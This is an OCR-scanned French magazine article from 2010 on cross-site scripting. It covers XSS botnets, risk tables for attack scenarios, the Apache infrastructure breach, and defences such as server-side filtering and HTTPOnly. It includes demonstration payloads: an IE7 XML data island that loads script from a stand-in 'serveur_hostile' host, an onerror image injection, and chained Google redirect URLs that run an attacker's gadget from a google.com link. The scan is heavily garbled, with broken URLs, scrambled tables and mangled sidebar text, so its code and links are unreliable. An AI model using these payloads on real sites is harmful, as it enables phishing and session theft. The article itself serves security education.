permet d'obtenir les réponses du serveur de la zone privée, ce qui n'est pas possible dans le LAN A, 1’ ttaquan

t

nayant pas connaissance de vulnérabilité XSS exploitable sur Je serveur interne. On voit aussi le réle central

Joué par le serveur relais contrélé par l'attaquant ; ce serveur pourrait n'étre qu'un simple service web capable
de dialoguer avec des applications distantes, via JSON par exemple. Dans tous les cas, c'est le navigateur de la
victime qui devient le bras armé de l'attagquant.
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Fig. 2 : Le framework BeEf {43] permet de tester
quelques-unes des possibilités offertes a un
attaguant exploitant une vulnérabilité XSS pour
prendre le controle d'un réseau de navigateurs
zombies : visualisation du contenu de la page visitée,
acces aux cookies de la page courante, keylogger,
redirection, lancement d'exploits, notamment grace
a un interfacage possible avec Metasploit®®, etc.

De méme qu’un botnet traditionnel, un XSSbotnet
permet naturellement de réaliser du déni de service
distribué?” en envoyant des requétes massives vers des
cibles de I'Internet. Il peut aussi étre exploité dans des
opérations de calcul partagé « a la seti@home?® », comme
vient de l'illustrer le projet de cassage de mots de passe
distribué DistCrypt?°. Par rapport a un botnet traditionnel,
le XSSBotnet présente deux caractéristiques particuliéres :

a) Il est plus facile a neutraliser, puisqu'il exploite
une vulnérabilité présente dans une page web el
qu’il s’appuie sur du code généralement injecté
dans une base de données ; les canaux de controle
peuvent quant a eux étre obfusqués et étre donc
plus difficiles a identifier.

b) I1 est théoriquement capable de se propager
beaucoup plus rapidement ; au vu de la fréquentation
de grands réseaux sociaux comme Facebook ou
Myspace, ou du site de microblogging Twitter, qui
comptent chacun plusieurs dizaines de millions
de visites par jour, il n’est pas inenvisageable de
compromettre plusieurs millions de navigateurs
en quelques heures. Il est naturellement probable
qu'une attaque de grande ampleur soit rapidement
repérée par les administrateurs des sites en question,
mais nous verrons que sous certaines conditions,
une telle attaque a de bonnes chances de réussir.

La premiére caractéristique explique sans doute que
des attaques massives par vers XSS n’aient encore jamais
été tentées pour réaliser des dénis de service distribués,
par exemple. La seconde suggere en revanche que des
attaques XSS massives pourraient étre utilisées dans certains
scénarios bien précis. Quelles seraient les caractéristiques
de ces scénarios ? C’est la question a laquelle nous allons
tenter de répondre dans la troisiéme partie de cet article.

(a suivre...) W
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= NOTES

U« Rien de nouveau sous le soleil », paroles de
Salomon tirées de I'Ecclesiaste, 1.9.

2 « Le XSS est le nouveau dépassement de tampon,
et le code JavaScript malveillant le nouveau
shellcode », voir hittp:/ibit.lylcpP3cL.

3 Voir hitp:/fbit.y/dopdwl

1 Pour Cross Site Request Forgery, voir plus
haut, note 10.

> Avec Yokoso ! par exemple : voir http://bit.ly/aB3CYn

Y Avec Jikto ou XSS Rays ! voir hitp:/ibitly/cGisYnet |
http://bit.ly/awdoGH

7 Avec BeEl par exemple : voir hitp:ibit.ly/DgFGE

8 Voir http:/ibit.ly/bFdY8T

9 Voir http:/fbit.ly/cBJDEf

1 Voir http:ibit.ly/cMWDww

"' Pour Cascading Siyle Sheéls ou « feuilles
de style en cascade » en francais ; voir hitp:/
bit.ly/7tfvFQ.

2 Une nouvelle fois avec BeEFE.

' Voir plus haut, note 13,

" Voir plus haut, note 27,

15 Sous certaines conditions : voir hitp:/bit.ly/b2w3Xk.

1" Pour Asynchronous JavaScripit and XML :
voir http!/bit.ly/3ZXDjd,

" Acronyme de JavaScript Object Notation :
voir hitp:lwww.json.orgljsonfr.htmi.

18 Voir http/ibit.lyldzCTuv

¥ Voir http:/ibit.ly/8X3CS ; les gadgets Google posent
en réalité de nombreux problémes de sécurité ;

nous y revenons dans la derniere partie de
cet article.

# Réseau de machines compromises contrélables
adistance, communément appelées « zombies ».

2! Voir hitpilfha.ckers.org/xss-worms
22 Voir hitp:Iibit.lylcabdiF

i Alqnnthmpa utilisés : voir hitp:ibit.ly/wUdF4 pour |
3 s exemples 1 et 3 sont obfusqués
grace a Hackvertor de Gareth Heyes : voir

http:lbit.ly/188emr.

24 Voir hitp:/fbit.ly/9ZWX1t

“2 Voir http!/fbit.ly/lz9cMP

*% Voir httpi/ilwww.metasploit.com/

27 0u DDoS : voir http:/ibit.lyi75a)
* Voir hitp:/fsetiathome.berkeley.edu/
2 Voir hitpillbit.ly/IMXfqy

Les références de cet article sont disponibles sur
www.miscmag.com/ref49.

wise neas - waisun 2000
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XSS : LE DIABLE SE CACHE DANS LES DETAILS
3EME PARTIE

« IBANT OBSCURI SOLA
SUB NOCTE?! »

Pierre GARDENAT - pierre.gardenat@ac-rennes.fr

mots-clés : XSS / CROSS SITE SCRIPTING / JAVASCRIPT / MALWARE / BOTNET

ésumé des épisodes précédents :

R Le XSS tend a devenir une composante importante de scenarios d’infection

massive exploitant des vecteurs d'attaques combinées visant, entre autres,
a constituer des réseaux de machines zombies. La parenté du XSS avec des
techniques d’‘attaques applicatives par débordement de tampon permet de bien
comprendre la diversité et la puissance des attaques que le XSS rend possibles.
Nous allons maintenant nous interroger sur les raisons susceptibles dexpliquer
le relatif échec de la lutte anti-XSS aujourd’hui et illustrerons notre propos
en essayant d‘évaluer le risque réel de différents scénarios d'attaques, tirant
notamment parti des trois erreurs les plus fréqguemment commises a propos

du XSS.

A l'image d’Enée s’avancant dans
I'obscurité accompagné de la seule
sibylle au début du chant 6 de L'Enéide,
nous allons maintenant entreprendre
un voyage initiatique du c6té obscur
et tenter d’apprendre des ombres, qui
seront iciles illustres échecs de la lutte
anli-XSS, ce a quoi pourrait ressembler
une attaque XSS massive dans un avenir
proche. Nous procéderons par avancees
successives, en nous interrogeant sur
les erreurs et les préjugés les plus
fréquents concernant le XSS.

Le premier préjugé fréquemment
rencontré porte surla faible dangerosité
supposée d'une attaque XSS, sans que
cet a priori soit d'ailleurs souvent étayé
par une analyse de risque précise.

En fait, si 'on regarde les choses
d'un peu plus pres, il y a attaques XSS
et attaques XSS.

Visc 49 - Mailduin 2010

Préjugé N° 1 : le XSS est

somme toute assez inoffensif

Cette hypothése repose le plus souvent sur l'image gentillette et
traditionnelle de I'attaque XSS volatile destinée a voler des cookies de
session. On l'a vu cependant, le XSS, surtout a travers des attaques
persistantes, peut étre plus nuisible.

Essayons donc d’évaluer sommairement le risque de quelques
scénarios d'attaques XSS : nous partirons pour le moment de I'hypothése
que l'attaquant ne dispose pas de moyens importants : voir Tableau 1
ci-contre.

Dans ces scénarios, qui ne se veulent pas exhaustifs, nous partons
cependant de deux postulats :

- I'attaquant ne dispose pas de moyens importants (c’est un simple
particulier, par exemple) ;

-’attaque XSS n’est pas combinée a des codes hostiles non JavaScript.

Si nous remettons en cause ces postulats, nous tombons sur des
classes d'attaques beaucoup plus dangereuses : voir Tableau 2 ci-contre.
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de site, atteinte al'image

XSS autorisant cette attaque ne sont
pas si fréquentes que cela.

personne visitant
I"URL normale de la
page attaquée verra la
defiguration.

Attaque ciblée, XSS | 3 (facile, probable) 1,5 (impact faible & | 2 (modéré)
volatil ‘modére)
Vol de codes d'acces a | Attaque de phishing | 3 (facile, probable) 2 {impact modeéré) 2 (modéré)
un service web ciblée (XSS volatil)
Utilisation dunavigateur | AttaqueXSSpersistante | 2 (facile, relativement probable) 2 (impact modére) ; Jikto | 2 (modéré)
comme rebond pour | avec]ikto, parexemple estcapable de rechercher
rechercher d'autres | [18] des vulnérabilités de type
vulnérabilités SQL injection.
Scandu réseauinterne, | XSS persistant avec | 2 (facile, improbable) 2 (impact modéré) ; les | 2 (modéré)
rebond XSS, vol de | Yokoso, par exemple | informations remontées
données sur le réseau ne sont pas forcément
local intéressantes ou
exploitables. :
Récupération de hash | XSSvolatiloupersistant | 1 (facile, improbable) ; il est nécessaire | 2 {im';ﬁactmadéré afort) | 2 (modére)
NTLM avec Squirtle, par | que le serveur Squirtle soit dans le
: exemple [42] réseau privé de la victime.
Déni de service surune | Ver XSS 2 (difficile, peu probable) ; les | 3 (impact fort) 2 (modéré)
cible arbitraire vulnérabilités XSS persistantes sont
frequentes, y compris dans des réseaux
sociaux importants, mais 1'écriture
d'un ver exige quelques compétences ;
une attaque de ce type a des chances
d'étre neutralisée rapidement.
Défiguration non | XSS volatil 4 (trés facile, trés probable) 1 (impact faible) ; seules | 1 (faible)
persistante de site, | les personnes utilisant le
atteinte a I'image lien malveillant verront
la defiguration.
Déﬁguraﬁanpersistanbe XSS persistant 2 (facile, improbable); les vulnérabilités | 3 (impact fort) ; toute | 2 (modéré)

Tableau 1

Compromission de la
machine de la victime,

vol d'informations

personnelles, scan
du reseau interne,
lancement d’attaques
sur le réseau interne,
vol d'informations sur
le réseau interne.

Attaque ciblée, XSS

volatil ou persistant
+ exploits contre le
navigateur on un de
ses greffons

3,5 (trés facile, probable) ; les reéseaux
criminels ou les Etats ont les moyens de
mener facilement ce type d'attaques.

3 (impact fort)

3+ (eleve)

Enrolement de machines | Ver XSS + exploits | 3,5 (trés facile, probable) ; les réseaux | 4 (impact trés fort) 4 (trés eéleve)
dans des botnets, | contre le navigateur | criminels oulesEtatsontles moyens de

lancement.d'attaquespar | ou un de ses greffons | mener facilement ce type d'attaques.

déni de service distribué.

Tableau 2
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FOCUS SUR ...

= FOCUS SUR UNE ATTAQUE
RECENTE AYANT
EXPLOITE LE XSS:

La fendation
Apache, guia
récemment eté
victime d'une
atlague tiblee
dirigée contre
8 o n
infrastructure,
publie surson
‘blog (voir https
blogs-apache;orgl
infralentry/apache-org 04 09:2010) le détail de Fattague et
montre de maniére pédagogigue comment une
atfagiie XSS classigue peut contribuer a la réussite
d’urne operation de plus grande envergure, Tout
commence le-5 avril, guandles attaguants ouvrent

unficket d'assistance surleservicede suivide bugs:

de PASF (ApacheSoftwareFoundation) sur brutus.
apache . org.

Le ticket d'assistance parle d"un dysfonctionnement
et fournit une URL courte, consiruite grace au service
de-tinyurkcom,

PURL masgue on Fait une attague XSS destinee a
velerie cookie de session de I'utilisateur connecté au
. setvice, Plusieurs membres de Vequipe d’administration
tombent dans le plége. Dans-le méme lemps et
independamment-de 1'altague XSS, une aulre
alttague en force brute vise a t:;om}':iromettré des
comples utilisateurs. Le 6 avril, forts des privileges
d'administration-dont ils dispasent maintenant
grace a Pune ou l"aulre méthode, les attaguants
panviennent & déposer-et a“exéculer un script jsp
et accedent au flesystem. [is en profitent pour
récuperer differents documents et pour installer une
porte dérobée. Le 9 avril au matin, les attaguants
installent un hchier JAR capable de collecter-les
mots de passe des utilisateurs gui se connectent
au serveur et amenent parruse diffévents membres
de équipe d'administration a se connecter. Il se
Irouve gqu'un des mots de passe récuperes alors
corresponda celui dunutilisateurlocalde Iamachine
brutus.apache.org, atguel-sudo-donne des droits
rool.;: Lamachine est compromise. Heureusement
pour-1'ASE, Pattague st repéree ol neutralisée
guelques heures plus tard: Elle illustre bien le réle
“possible du XSS dans des attagues combinéess guine
cihlent pas [orcément, conmme on pourra
trop-souvent; les utilisateurs finaux d'un

en ligne.

XSS : LE DIABLE SE CACHE DANS LES DETAILS — 3EME PARTIE -
IBANT OBSCURI SOLA SUB NOCTE'

Il est naturellement important que nous justifiions
les notes relatives a la facilité de mise en ceuvre et a la
probabilité de reussite dans la colonne 3 ; elles tiennenl
en fait a un ensemble de facteurs, essentiellement liés a
une sous-estimation fréquente du niveau de vulnérabilité
des environnements de navigation (navigateur + greffons),
a une connaissance insuffisante des mecanismes mis en
ceuvre dans le XSS, enfin 4 une surestimation du niveau de
protection offert par un certain nombre de sites considérés
comme de confiance (grands réseaux sociaux, services web
populaires, webmails connus, intranets d’entreprises, etc.) :

a) Nous ne nous attarderons pas sur les vulnérabilités
affectant les navigateurs ou leurs greffons : les alertes
relayées parles CERT? sont suffisamment fréquentes pour
qu’il n’y ait pas besoin de les commenter longuement.
Il est tout de méme intéressant de noter que dans un
cerlain nombre de cas, les modules permettant d'ajouter
des fonctionnalités aux navigateurs, indépendamment
des greffons autorisant la lecture de formats de
fichiers supplémentaires, apportent de nouvelles
vulnérabilités?®. Il peut également se produire que des
mécanismes censés améliorer le niveau de sécurité
aient des effets de bord curieux, a I'instar des filtres
anti-XSS d’Internet Explorer 8, dont on s’est apergu
récemment qu’ils étaient susceptibles de permettre
des attaques XSS contre des sites normalement non
vulnérables®.

b) Les mécanismes mis en ceuvre dans le XSS, on l'a
vu, autorisent presque toujours des redirections ou
des inclusions d’'éléments permettant de forcer le
navigateur de la victime a accéder a un document
arbitraire. Il est important de ne pas perdre de vue
certaines propriétés liées a des types de fichiers que
les utilisateurs sont souvent autorisés a déposer sur
des espaces en ligne : I'attaque GIFAR® a montré en
2008 que l'on pouvait glisser une archive JAR dans
une image GIF ; on sait moins qu’un fichier ZIP peut
étre en fait ajouté a n'importe quel fichier binaire ou
qu‘il est possible de créer des fichiers malveillants
dans un format de la famille ZIP (fichiers XPI, Open
XML) contenant un exécutable SWE, et cela sans que
le fichier soit considéré comme invalide® ; le diable,
comme toujours, se cache dans les détails.

c) Des vulnérabilités sont régulierement signalées sur
les plus grands réseaux sociaux, ou des sites de
banques [31][32]. Deux initiatives récentes méritent
d'étre signalées : MoTB, le mois des bugs Twitter’ et
MoFB ou FAXX, le mois des bugs Facebook®. Cette
derniére initiative est particuliérement intéressante
car elle illustre le fait que le XSS peut s’appuyer sur
des langages de description de contenus autres que
le HTML, en 'occurrence le langage mis au point par
Facebook, baptisé FBML (pour FaceBook Markup
Language). Les tests que nous avons personnellement
menes début 2009 sur quatre grands réseaux sociaux
(Facebook, Myspace, Orkut, et Hi5) ont montré qu’ils
étaient a 1'époque tous vulnérables a la diffusion de



vers XSS? [9]. Il est en outre important de rappeler
que le protocole utilisé (HTTPS au lieu de HTTP) n'a
pas d'incidence sur la réussite d'une attaque XSS,

Un attaquant motive et disposant de moyens importants
pourra donc étre séduit par la vitesse de propagation d‘un
ver XSS combinée a des attaques contre les environnements
de navigation. Ce type d’attaque permet d'envisager,
en a peine quelques heures, de prendre non seulement
le controle de millions de navigateurs, mais de millions
de machines, en traversant les pare-feu comme par
enchantement. Certaines officines de renseignement ou
de lobbying pourraient également étre tentées de se servir
d’'attaques XSS de ce type, pourlancer des campagnes de
déstabilisation ou récupérer des informations sensibles.
D’autres types de combinaisons, exploitant par exemple
le DNS rebinding® [13], pourraient permettre de rendre
ces attaques encore plus redoutables.

Il est important de retenir, en tout cas, que le XSS ne
sera vraisemblablement pas choisi pour mener directement
des attaques massives, ou il n’excelle pas forcément du
fait de son relatif manque de discrétion. Il aura plus
vocation a jouer les seconds couteaux, les pions discrets
que 'on positionne a des endroits stratégiques en début
de partie aux échecs, avant de les faire participer, dans
des blitz diaboliques de vitesse et de discrétion, a des
compromissions massives de machines, orchestrées
par des redirections vers des exploits affectant les
environnements de navigation. Les injections d'iframes
malveillantes sont déja aujourd’hui trés utilisées parles
réseaux criminels pour effectuer ce type de redirections!'.
I1 est vraisemblable que le XSS soit lui aussi de plus en
plus exploité a cette fin.

Les attaques XSS ne seront donc pas forcément
faciles a repérer et a neutraliser ; cela nous améne au
second préjuge.

Préjuge N° 2 :

2 le XSS est facile a
repérer et a neutraliser

Une fois encore, l'erreur consiste a ne prendre en
considération que des attaques anciennes, reposant sur
des codes relativement déterministes. Or la puissance
acquise aujourd’hui par le XSS tire en fait parti d’au
moins trois facteurs, qui se conjuguent et se factorisent :

a) La pression réelle ou supposée du grand public
sur les éditeurs et développeurs, qui réclame des
applications toujours plus riches et pleines de
fonctionnalités, éventuellement au prix de quelques
compromis en matiére de sécurité ; et quid de I'avenir;
avec le multithreading JavaScript annoncé dans
HTML5'2, ou les possibilités de requétes « cross
domain » (XDR) déja implémentées ou annoncées'

[111[281[29][30] ?
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b) Le manque de recul face a des technologies somme
toute assez récentes, qui ont évolué trés rapidement,
etdont on n'a pas mesuré précisément nil'incidence
réelle des fonctions prises isolément (JavaScript
notamment, mais plus récemment XHR, JSON),
ni encore moins les potentialités offertes par leur
interaction.

c) Il est en fait assez difficile de concilier I’extension
exponentielle des possibilités offertes aux utilisateurs
de produire et de stocker des contenus « web
compliant » au sein de services qui partagent
la méme base technologique et qui jouent la
surenchére de la richesse fonctionnelle et du
nombre d’abonnés, avec une politique de sécurité
qui voudrait que 1'on filtre rigoureusement tous
les contenus dangereux.

Il faut ajouter que de nombreuses applications confient,
par exemple, une partie du controle des entrées utilisateurs
a des codes JavaScript, donc coté client. C'est un fait
bien connu de tous ceux qui se sont intéressés un peu a
la sécurité des applications web, mais rappelons-le : sile
filtrage d’entrées utilisateurs c6té client préalablement a
leur envoi au serveur peut servir a identifier des erreurs
de saisie dans le cadre d'un usage applicatif normal,
il n'a rigoureusement aucun impact sur la sécurité. Il
suffit de tester des greffons Firefox comme live hitp
headers [40] ou web Developer [41], ou encore des
outils comme WEBscarab pour s'en convaincre. Seul le
nettoyage du code coté serveur est vraiment efficace en
amont, le nettoyage JavaScript coté client pouvant tout
de méme étre intéressant pour tenter de repérer et de
neutraliser en aval des codes hostiles obfusqués ou non
au moment du rendu de la page servie, mais plutot au
sein d’environnements de navigation virtualisés,

Beaucoup d’administrateurs se sont fiés ou se fient
également aux promesses de leur revendeur d'IPS/IDS
et étude de cas a I'appui, vont défendre l'idée qu'il est
possible de détecter facilement les attaques XSS ; cela
est sans doute vrai lorsqu’on a affaire a des attaques
basées sur des requétes en clair et sur des applications
ou 'utilisateur n’est pas censé manipuler des contenus
complexes ; cela devient beaucoup moins vrai dans un
contexte de flux obfusqués dissimulés au sein de code
légitime. Il est d'ailleurs intéressant de constater que
les techniques d’obfuscation, largement employées dans
le cas des malwares classiques, et dont nous avons vu
quelques illustrations en JavaScript un peu plus haut,
commencent a étre utilisées dans le monde des payloads
JavaScript, que les codes malveillants soient d'ailleurs
injectés grace a 'exploitation d’'une vulnérabilité XSS
ou non',

Dans le cas d'une attaque par ver XSS, l'injection
répétée d’'un méme motif dans une base de données
devrait également permettre de la repérer, car sile ver
se propage sur plusieurs millions de profils, cela signifie
le plus souvent qu’il est présent plusieurs millions
de fois dans la base de données. La tache d'un DBA
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(DataBase Administrator), lorsqu'il s’agit de nettoyer
une base de données compromise par n injections du
méme motif, s’en trouve aujourd’hui facilitée. Il est
trés vraisemblable que la situation évolue et que l'on
soit tét ou tard confronté a des codes beaucoup plus
évolutifs, donc beaucoup plus difficiles a identifier au
sein de flux web eux-mémes de plus en plus complexes.
Lavenir des attaques XSS s’appuiera sans doute sur des
codes polymorphiques non déterministes, capables de se
propager sous des formes différentes ; la détection de
telles attaques restera envisageable, en particulier parce
qu'il ne sera sans doute pas possible de faire varier la
totalité du code injecté (le vecteur doit étre interprété
par le navigateur), mais elle sera plus difficile, comme il
sera plus difficile aussi de nettoyer une base aprés une
attaque par ver [14][15].

Mais alors y a-t-il des solutions ? Puisque le XSS,
qui est certes une attaque coté client, exploite le plus
souvent des données injectées au moment de 'écriture
de la page par'application web cOté serveur, ne suffit-il
pas de sécuriser ses développements pour éviter le XSS ?

Prejugeé N° 3 : il
suffit de sécuriser ses

developpements pour
eviter le XSS

Laffirmation se vérifie tout de méme dans la trés grande
majorité des cas, mais encore faut-il que la sécurisation
du code tienne compte de I’ensemble des menaces
[51[23][25]. Et puis comme toujours, il y a quelques
détails susceptibles de poser

XSS : LE DIABLE SE CACHE DANS LES DETAILS - 3EME PARTIE - IBANT OBSCURI SOLA SUB NOCTE!

Mais les fonctionnalités liées a 1'appel de blocs de
données XML dans certains navigateurs sont moins
connues.

Dans Internet Explorer 7, la page suivante charge le
code situé sur http://serveur_hostile/a.xm| :

<html>

<body>

<xml id="a" src="nttp://serveur_hostile/a,xml"></xml>
<label dataformatas=html datasrc=Ha datafld=b>
Bonjour |

</label>

</body>

</html>

Si le document a.xml contient du code JavaScript, il
sera exécuté.

Exemple de code JavaScript inséré dans une balise
CDATA :

<Ixml version="1.8"7>

<>

<b> :
<I[CDATA[<img src=x onerror=alert("Oops...")>]11>
</b>

<fa>

Certaines attagques peuvent aussi reposer sur les
fonctionnalités legitimes offertes par une application web.
La fonctionnalité exploitable la plus fréquente est celle
qui permet & un service de rediriger 'utilisateur aprés
authentification ou aprés déconnexion. Pour éviter que
de tels services puissent étre utilisés a mauvais escient
dans des attaques de phishing, ces services filtrent
généralement les parameétres passés en URL ; ainsi la
requéte HTTP GET

https://www.google. com/accounts/
Login?hl=frécontinue=htip://

probléme : nous avons déja

évoqué les risques liés au
dépét de certains types de
fichiers par l'utilisateur,

o M \_shitp:ff

images GIF et formats
d’archives en téte, mais
un attaquant dispose de :
nombreux autres moyens b
de tromper les dispositifs
censeés sécuriser un site
contre le XSS,

Hum.., C'est une image, ou nar, alors *

www, Temonde, fr
festzpn v v aboutit a la présentation
| d’une page d’erreur quand la
= 2l | requéte légitime
i

https://waw.google.com/accounts/
Login?hl=fricontinue=http://
www.google, fr/

amene au formulaire
d’authentification des services

Il est, par exemple,

relativement connu que Attente de http: Tl

Google.

& Intemet | Mode pr

Une fois encore, cependant,

certaines versions d’Internet

le diable peut se dissimuler

Explorer acceptent
d’interpréterle code inséré
dans un fichier portant une
extension qui ne correspond
pas a son contenu : tout
lien pointant directement

Fig. 1 : Differents formats de fichiers image
(Jpg. .gif, .png, .bmp) ou vidéo (.avi, .mpg)
peuvent en fait masquer des pages HTML, qui
seront interpréiées comme telles par certaines
versions d’Internet Explorer (ici en version 7).

dans les détails : les pages
indexées par Google peuvent étre
appelées parune URL du type :
http:/adresse_IP/search?q=cache:URL _
de_la_page'®. Or il se trouve
que si I'URL pointe vers une

vers un fichier de ce type est susceptible de permettre
le déclenchement d’une attaque XSS.
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ressource appelée par la séquence « search?q=cache: »,
une requéte surle domaine www.google.com « redirige vers »



adresse_|P. Il suffit donc a un attaquant de faire indexer
une page contenanf un code hosfile par Google pour
pouvoir forger des liens du domaine www.google.com
(d’autres domaines fonctionnent également, comme
google.fr) redirigeant automatiquement vers le contenu
indexé de cette page. Grace aux propriétés du service de
redirection évoqué plus haut, qui exploite HTTPS, il est
aussi possible de créer des liens HTTPS du domaine www.
google.com redirigeant un utilisateur aprés authentification
ou aprés déconnexion.

Exemple : La page http:/fwww.google.com/search?q=cache:http://
ha.ckers.org/xss.html redirige automatiquement vers le contenu
indexé de la page http://ha.ckers.org/xss.html. La redirection
peut étre obtenue aprés authentification avec I'URL :
https:/fwww.google.com/accountsi/ServiceLogin?continue=http:/iwww.
google.com/search?q=cache:http://ha.ckers.org/xss.html

ou directement via une URL de logout comme https://
www.google.com/accounts/Logout?continue=http://www.google.com/
search?g=cache:http://ha.ckers.org/xss.html.

On voit que le probléme, ici, n’est pas tant le filtre utilisé
dans la redirection que la résolution DNS « généreuse »
offerte par Google.

La complexité croissante des applications web et la
volonté d’offrir aux utilisateurs des services toujours plus
simples et moins contraignants sont en fait les ingrédients
d'une augmentation de la surface d’'attaque au XSS :
tous les acteurs majeurs du Web veulent désormais
proposer a leurs utilisateurs la possibilité de disposer
d’environnements personnalisés, dans lesquels ces
derniers puissent insérer des briques logicielles adaptées
a leurs besoins ; cela implique souvent que les briques
en question aient acces a tout ou partie des informations
personnelles du profil de l'utilisateur.

Ces applications tierces, qui représentent donc un
enjeu important pour les fournisseurs de services,
font malheureusement 'objet de contréles de sécurité
souvent insuffisants : de nombreuses applications
malveillantes sont ainsi régulierement découvertes sur
les plus grands réseaux sociaux'%, et de nombreuses
autres sont régulierement pointées du doigt pour des
vulnérabilités diverses, parmi lesquelles le XSS figure
toujours en bonne place!”, Mais est-il vraiment possible
de tout contrdler ? Ne touche-t-on pas ici a la limite des
modeles de sécurité de ces services tentaculaires, plus
influencés semble-t-il pas les exigences des designers
que par celles des responsables de la sécurité ?

Lexemple de la vulnérabilité du service Uservoice,
évoquée plus haut, posait la question de la sécurité des
relais d'authentification, mais le modele de l'authentification
unique, tant réclamé par les utilisateurs, augmente
également de maniere significative la surface d’attaque
des applications qui reposent sur lui : il suffit d’'une
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vulnérabilité XSS sur un service Google, par exemple,
pour impacter potentiellement I’ensemble des services
Google.

Cette question des modeéles de sécurité pose aussi
celles des choix d’architecture, et parmi elles, celle de la
distribution des services au sein de sous-domaines ou de
domaines différents, question cruciale lorsqu’on cherche
a se protéger contre les attaques XSS, en tirant parti
des limitations imposées par la Same Origin Policy. Une
nouvelle fois, 'exemple des services Google est intéressant.

Google ne considére pas que la présence de code
potentiellement hostile sur des domaines n'autorisant
pas le vol de cookies de session soit de nature a poser
probleme!®, Il autorise donc ses utilisateurs a utiliser du
JavaScript sur blogspot.com, gmodules.com, ou googleusercontent.
com, mais pas sur un sous-domaine de google.com ou sur
blogger.com.

Ce choix est selon nous susceptible de poser un
probléme : il autorise un certain nombre d’attaques XSS
indirectes, y compris en utilisant des URL du domaine
google.com (ou de ses équivalents localisés : google.fr, etc.).
En voici la démonstration.

Considérons le gadget Google « test » créé et
enregistré sur le domaine gmodules.com en utilisant le
service disponible a l'adresse http:/fcode.google.com/inti/fr/
apis/gadgetsidocs/tools.htmI#GGE.

Il peut étre testé en se rendant sur : http:/f'www.gmodules.
comiiglcreator?synd=open&uri=http:/fhosting.gmodules.com/igigadgets/
file/111385752580647935667/test.xm| ; fin 2009, la redirection de
http:/iwww.google.com/ig/ifrurl=lien_vers_un_gadget vers http:fiwww.
gmodules.comfiglifr?url=lien_vers_un_gadget, que nous avions
signalée en juin 2009 comme étant une vulnérabilité
[9] a semble-t-il été désactivée, mais il reste au moins
une méthode!® pour exécuter ce gadget a partir d'URL
du domaine google.com (sans que le JavaScript intégré
au gadget soit quant & lui chargé depuis une URL de
ce domaine) : il suffit d’exécuter ce gadget au sein d’'un
service qui l'autorise, comme Google Maps :

http:/fmaps.google.com/maps/mpl?layer=c&moduleurl=http://
hosting.gmodules.com/ig/gadgets/file/111385752580647935667/test.
xml&utm_campaign=fr&utm_medium=Ip&utm_source=fr-Ip-emea-
fr-gns-svn&utm_term=lpmp&layer=c.

Et puisqu’on a vu que les URL du domaine google.com
sont autorisées en redirection du service d’authentification
de Google, il est possible de créer un lien provogquant
I'exécution du gadget a partir d'une URL HTTPS de
www.google.com :

https:/lwww.google.com/accounts/Logout?hi=fr&continue=http%3
A%2F%2Fmaps.google.com®%2Fmaps®%2Fmpl%3Fmoduleurl%3Dhtt
pY%3A%252F%252Fhosting.gmodules.com%252Fig%252Fgadgets%
252Ffile%252F111385752580647935667%252F test.xmli%26ie%3DUTF
8%262%3D6&service=local.
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Ce type d'URL pourrait malheureusement étre exploitée
pour mener des attaques de phishing ou pour forcer le
navigateur a charger un document PDF ou SWF piégé.

Toujours dans le champ des services d’authentification,
il existe un cas particulier auquel il convient de préter
attention : celui des requétes de connexion. Il n’est
pas rare, en effet, que dans des applications proposant
des profils individuels, ce qui est le cas de la majorité
des applications en ligne aujourd’hui, les développeurs
négligent certaines vulnérabilités XSS lorsqu’elles ne
sont exploitables que sur les pages privées d’un profil.
57l suffit cependant de lancer une requéte GET pour
se connecter a son profil, un attaquant dispose d'une
possibilité d'attaque en deux temps, que nous nommerons
« attaque de la porte mitoyenne », qui consiste a forcer
la victime a se connecter sur un profil compromis
avant de la rediriger vers une page de connexion
qu’il controle.

Au sein des profils a présent, une autre erreur courante
consiste a négliger de compartimenter les actions
sensibles, pour éviter qu‘une vulnérabilité XSS puisse
causer des dégats importants : sur le domaine ol s’exerce
la SOP naturellement, mais aussi via des requétes « a
l'aveugle » de type Cross Site Request Forgery. Un des
moyens de sécuriser les opérations sensibles est d'utiliser
des tests de Turing, dont les captchas?® sont les formes
les plus répandues. Il est également possible d’insérer
dans la page des scripts capables de détecter certaines
situations anormales qui doivent faire penser a des
actions conduites par des automates : chargement de
la page dans une iframe ou tentative d‘ajouts de scripts
non légitimes, par exemple.

Notons que Facebook, avec FBJS [26], pour
FaceBook JavaScript, pousse assez loin le concept de
virtualisation du code provenant d’applications ajoutées
par la communaute des utilisateurs, applications
dont le code JavaScript est transformé a la volée en
un code virtualisé non directement exécutable par le
navigateur.

Le procédé pourrait étre rendu encore plus efficace s'il
était interprété dans une sandbox JavaScript indépendante
du navigateur, coté serveur, par exemple. Ce type de
composant pourrait étre assimilable & un débugger
JavaScript amont. Nous n'en connaissons pas d’exemple
a I'heure actuelle.

Pour compléter ce point consacré a la prise en compte
des risques liés au XSS dans les développements, il est
certainement important de parler de HTTPOnly [24].

En 2002, Microsoft a introduit dans IE 6 SP1 une notion
devenue importante dans la lutte contre les attaques XSS ;
la distinction entre les cookies accessibles depuis les
scripts chargés dans une page et les cookies seulement
transmis dans les requétes HTTP. Cette distinction est
aujourd’hui implémentée au moins partiellement dans tous
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les navigateurs modernes sous le nom de « HTTPOnly ».
Lusage de HTTPOnly ne supprime pas le risque ni
la portée potentielle d'une attaque XSS, puisqu’il est
toujours possible a un attaquant de lancer des requétes
sur le navigateur de sa victime en profitant d'une session
déja ouverte ou de tenter de récupérer des informations
confidentielles en amenant |'utilisateur a saisir des codes
d’acces sur une fausse page de login, par exemple. Tl limite
cependantl'impact direct d’une attaque en compliquant
le travail de I'attaquant. Malheureusement1’option n’est
pas toujours correctement implémentée?!.

Enfin, rappelons qu'au-dela de la problématique
cerles cruciale des développements, une défense en
profondeur contre le XSS nécessite aussi des équipes
d’administrateurs formées a réagir en cas de menace
ou d’attaque avérée. En cas de compromission par ver
XSS, qui est sans doute le type d’attaque XSS le plus a
redouter, surtout si les codes injectés sont polymorphes,
il est par exemple conseillé :

- De procéder a la neutralisation immédiate de toute
attaque potentielle, ce qui consiste généralement a
modifier la couche de présentation des données de
la page vulnérable afin d’empécher l'interprétation
du code injecté par un navigateur.

- De chercher a identifier et a supprimer de la base
de données les motifs de codes potentiellement
hostiles qui ont pu étre injectés ; ces scripts sont
en effet encore potentiellement dangereux puisque
s’ils sont un jour insérés sur une autre page faisant
appel a une couche de présentation différente, ils
sont susceptibles d’étre de nouveau exécutés par le
navigateur des visiteurs.

- De mettre en place des filtres visant a éviter
l'enregistrement de caractéres ou de motifs « a
risque » dans la base de données : typiquement, les
caractéres d'ouverture et de fermeture de balise
